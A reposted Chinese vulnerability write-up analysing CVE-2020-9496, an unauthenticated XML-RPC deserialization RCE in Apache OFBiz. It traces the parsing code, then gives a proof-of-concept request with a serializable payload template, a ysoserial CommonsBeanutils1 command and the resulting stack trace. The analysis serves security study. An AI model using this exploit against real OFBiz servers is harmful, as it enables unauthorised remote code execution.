CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

  • A+
所属分类:安全文章

更多全球网络安全资讯尽在邑安全

环境搭建

  • 下载:https://downloads.apache.org/ofbiz/

  • 安装:在主目录下执行:

    1. .gradleinit-gradle-wrapper.ps1

    2. gradlew.bat

背景

Web路由

<!-- frameworkwebtoolswebappwebtoolsWEB-INFweb.xml -->
<servlet>
<description>Main Control Servlet</description>
<display-name>ControlServlet</display-name>
<servlet-name>ControlServlet</servlet-name>
<servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ControlServlet</servlet-name>
<url-pattern>/control/*</url-pattern>
</servlet-mapping>

根据web.xml定义的servlet,定位到org.apache.ofbiz.webapp.control.ControlServlet

主要请求由org.apache.ofbiz.webapp.control.RequestHandler#doRequest()处理

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

首先根据请求的url获取路由信息,默认有216个url路径(17.12.03版本)

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

之后会根据requestMap.event信息去查找负责处理event的handler,之后再通过invoke进行具体的调用,该过程由org.apache.ofbiz.webapp.control.RequestHandler#runEvent()来完成

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

XML-RPC消息

XML-RPC数据类型

  • 文档:https://ws.apache.org/xmlrpc/types.html

根据文档,xmlrpc支持多种数据类型,对应的xml标签包括base64structarray

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

下面是几种常见的数据类型

<!-- array -->
<value>
<array>
<data>
<value><int>7</int></value>
</data>
</array>
</value>


<!-- struct -->
<struct>
<member>
<name>foo</name>
<value>bar</value>
</member>
</struct>

XML-RPC消息格式

  • 文档:http://xmlrpc.com/spec.md

每个XML-RPC请求都以<methodCall></methodCall>开头,该元素包含单个子元素<methodName>method</methodName>,元素<methodName>包含子元素<params><params>可以包含一个或多个<param>元素。如:

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value>
<i4>41</i4>
</value>
</param>
</params>
</methodCall>

漏洞分析

CVE-2020-9496

  • 漏洞信息:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz

  • 补丁:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

根据补丁发现frameworkwebtoolswebappwebtoolsWEB-INFcontroller.xml中的xmlrpc请求增加了<security auth="true"/>的认证,说明默认情况下该接口访问无需认证

<!-- frameworkwebtoolswebappwebtoolsWEB-INFcontroller.xml -->
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
<security https="false"/>
<event type="xmlrpc"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>

调用方法

直接构造post请求发送

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0"?>
<methodCall>
<methodName>testMethod</methodName>
<params>
<param>
<value>test</value>
</param>
</params>
</methodCall>

发现报错org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]说明没有相关的方法

下断点调试一下,由上面的org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()进入execute(),接着调用org.apache.xmlrpc.server.XmlRpcServer#execute()

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

跟入XmlRpcServer#execute(),发现调用了org.apache.xmlrpc.server.XmlRpcServerWorker#execute(),由具体的event handler处理XML-RPC请求

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()中获取Handler对应的ModelService,默认注册的service有3000多个,也就是可供调用的methodName,如果找不到service会抛出No such service的异常

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

所以此处传入一个已注册的service

回到org.apache.xmlrpc.server.XmlRpcServerWorker#execute(),当成功查询到service后通过handler.execute(pRequest)进行调用,注意此处还会检查一次ModelServiceexport属性,因此通过遍历serviceMap找到一个exporttrue的方法,如ping

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

继续构造请求(下面会解释为什么需要struct块)

<?xml version="1.0"?>
<methodCall>
<methodName>ping</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>foo</name>
<value>aa</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

响应

<?xml version="1.0" encoding="UTF-8"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><params><param><value><struct><member><name>message</name><value>PONG</value></member></struct></value></param></params></methodResponse>

说明成功调用ping方法

反序列化点

Ofbiz自带的第三方库xmlrpc-common-3.1.3.jar中的org.apache.xmlrpc.parser.SerializableParser类能明显地看到对数据的还原操作,如果gadget到达此处能直接被反序列化而不会被过滤。

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

解析XML

回到org.apache.ofbiz.webapp.control.RequestHandler#runEvent()方法,在其随后调用的链中,注意到getRequest()方法

org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()

在getRequest()中,传入的xml数据由第三方库xmlrpc-common.jar来进行解析(注意到此处做了XXE防护)

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

该类的初始化由父类org.apache.xmlrpc.parser.RecursiveTypeParserImpl完成,顾名思义就是递归解析,其他的便是常规的xml元素解析操作,包括startElement()endElement()等。我们知道在解析器解析xml数据的过程中,会触发到scanDocument()操作对元素进行逐一“扫描”,其中就会进行startElement()endElement()的调用,这个过程如果处理不当就会引入问题。

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

注意到在endElement()方法中对于value标签的处理,同样由父类完成,跟入org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

endValueTag()调用了getResult()方法,而这个方法就是上面提到的反序列化目标方法,那么接下来就是构造xml数据发送给Ofbiz,如果value的标签中存放的值为序列化数据,那么会由SerializableParser类进行反序列化进而触发漏洞,调用链是这个样子的

org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
org.apache.xerces.parsers.AbstractSAXParser.parse()
org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
org.apache.xmlrpc.parser.MapParser.endElement()
org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
org.apache.xmlrpc.parser.SerializableParser.getResult()

PoC构造

接下来的问题就是如何构造出特定的xml数据

以上面的ping方法为例,假设post如下数据

<?xml version="1.0"?>
<methodCall>
<methodName>ping</methodName>
<params>
<param>
<value>test</value>
</param>
</params>
</methodCall>

Ofbiz成功解析到endValueTag()方法,但是由于typeParser属性为空,因此不会进入getResult()方法

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

那么typeParser属性是在哪里赋值的呢?

回到org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement(),在解析器解析xml标签时,对4类标签(methodCall、params、param、value)有分别的处理,这个处理过程是随着每次遍历标签进行的,当扫描完4个必须提供的标签后,会调用父类的startElement()进行处理,而typeParser就是在父类中完成赋值的,随后便通过不同的解析器进入不同的解析流程,还是会调用对应解析器的startElement,这个过程是递归的

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

分析扫描标签的递增过程,发现此处除了4个标签外,还需在<value>标签中含有额外的标签,才会进入default分支进而对typeParser赋值,此时struct就是一个很好的选择,它能把数据作为一个结构体传入。

接着思考如何传入序列化数据,也即如何控制后端通过SerializableParser解析数据

还是关注typeParser的赋值过程,这个属性就是最终将要处理不同类型数据的解析器,在org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()中,注意到factory.getParser()操作,将由org.apache.xmlrpc.common.TypeFactoryImpl类获得不同数据类型的解析类,在其中就有获取SerializableParser的过程

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

因此只要传入<serializable>标签便会由SerializableParser进行解析。

此时还有个前提条件,那就是标签属性必须带有XmlRpcWriter.EXTENSIONS_URI才会进入后续的判断流程,因此post的数据是这样子的:

<?xml version="1.0"?>
<methodCall>
<methodName>ping</methodName>
<params>
<param>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable>
</value>
</param>
</params>
</methodCall>

最后一步,数据的格式

在获取到SerializableParser解析器后,startElement过程由父类org.apache.xmlrpc.parser.ByteArrayParser#startElement()完成,在其中能看到base64的解码操作,所以最终的序列化数据是需要通过base64传输的

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

漏洞利用

Ofbiz中存在Commons-Beanutils库,所以使用ysoserial直接生成CommonsBeanutils1的payload

> java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d "n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...

填充serialized_data并发送

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

调用链

java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
at org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:465) [ofbiz.jar:?]
at org.apache.ofbiz.webapp.control.ControlServlet.doGet(ControlServlet.java:217) [ofbiz.jar:?]
at org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:91) [ofbiz.jar:?]

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




本文始发于微信公众号(邑安全):CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: